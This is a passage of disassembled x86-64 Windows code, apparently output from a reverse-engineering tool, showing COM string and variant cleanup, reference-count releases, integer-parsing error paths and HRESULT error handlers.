call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x18], rax
mov rdx, rbx
lea rcx, [rbp + 0x18]
call fcn.140031e00
test al, al
jne 0x14000c7fc
mov rax, rsi
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000c7e2
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x18]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14000cea0
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x10], rax
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.140031e00
test al, al
jne 0x14000c84a
mov rax, rsi
nop
inc rax
cmp word [rbx + rax*2], 0
jne 0x14000c830
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.140032190
nop
mov rcx, qword [rbp + 0x38]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x1f8], rax
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x3d0]
call fcn.14004beb0
mov rbx, rax
mov rcx, qword [rbp - 0x70]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x200], rax
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x3c8]
call fcn.14004beb0
nop
lea rcx, [rbp + 0x20]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x10]
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
mov rdx, qword [rbp + 0x3c8]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c8e2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x3d0]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c903
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x10]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c921
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x18]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c93f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x20]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c95d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x28]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c97b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
mov rdx, qword [rbp + 0x3d8]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c998
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
mov rdx, qword [rbp + 0x3e0]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c9b5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
mov rdx, qword [rbp + 0x3e8]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c9d2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
mov rdx, qword [rbp + 0x3f0]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000c9ef
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
mov rdx, qword [rbp - 0x68]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ca09
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rbp + 0x48], 8
jb 0x14000ca51
mov rax, qword [rbp + 0x2a0]
lea rdx, [rax*2 + 2]
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ca4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ceab
call fcn.140183144
nop
cmp qword [rbp + 0x40], 8
jb 0x14000ca99
mov rax, qword [rbp + 0x2c0]
lea rdx, [rax*2 + 2]
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ca93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ceb1
call fcn.140183144
nop
cmp qword [rbp + 0x410], 8
jb 0x14000cae4
mov rax, qword [rbp + 0x2e0]
lea rdx, [rax*2 + 2]
mov rcx, qword [rbp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cade
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cc6d
call fcn.140183144
nop
mov rdx, qword [rbp + 0x418]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cb05
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x420]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cb26
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cb45
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x88]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cb66
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cb84
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x2e8]
call fcn.140031830
nop
lea rcx, [rbp + 0x308]
call fcn.140031830
nop
mov rdx, qword [rbp + 0xb8]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cbbf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cbdd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x38]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cbfb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x40]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cc19
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x38]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000cc37
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x14000cc52
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x638]
add rsp, 0x5f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140189c24
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140030df0
nop
call fcn.140030df0
nop
call fcn.140030df0
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
int3
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, eax
call fcn.14015cc1c
int3
call fcn.140189d70
mov dword [rax], SafeArrayPutElement
call fcn.140189c04
mov ecx, 0x80070057
call fcn.140032160
nop
call fcn.140189c24
nop
call fcn.140028890
nop
lea rcx, str.stoll_argument_out_of_range
call fcn.14015c8a8
int3
lea rcx, str.invalid_stoll_argument
call fcn.14015c860
nop
lea rcx, str.stoll_argument_out_of_range
call fcn.14015c8a8
int3
lea rcx, str.invalid_stoll_argument
call fcn.14015c860
nop
call fcn.140032080
int3
mov ecx, 0x80070057
call fcn.140032160
int3
mov ecx, 0x80004005
call fcn.140032160
int3
mov ecx, 0x80070216
call fcn.140032160
nop
lea rcx, str.stoll_argument_out_of_range
call fcn.14015c8a8
int3
lea rcx, str.invalid_stoll_argument
call fcn.14015c860
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140030df0
int3
call fcn.140030df0
int3
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
int3
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140189c24
nop
call fcn.140189c24
int3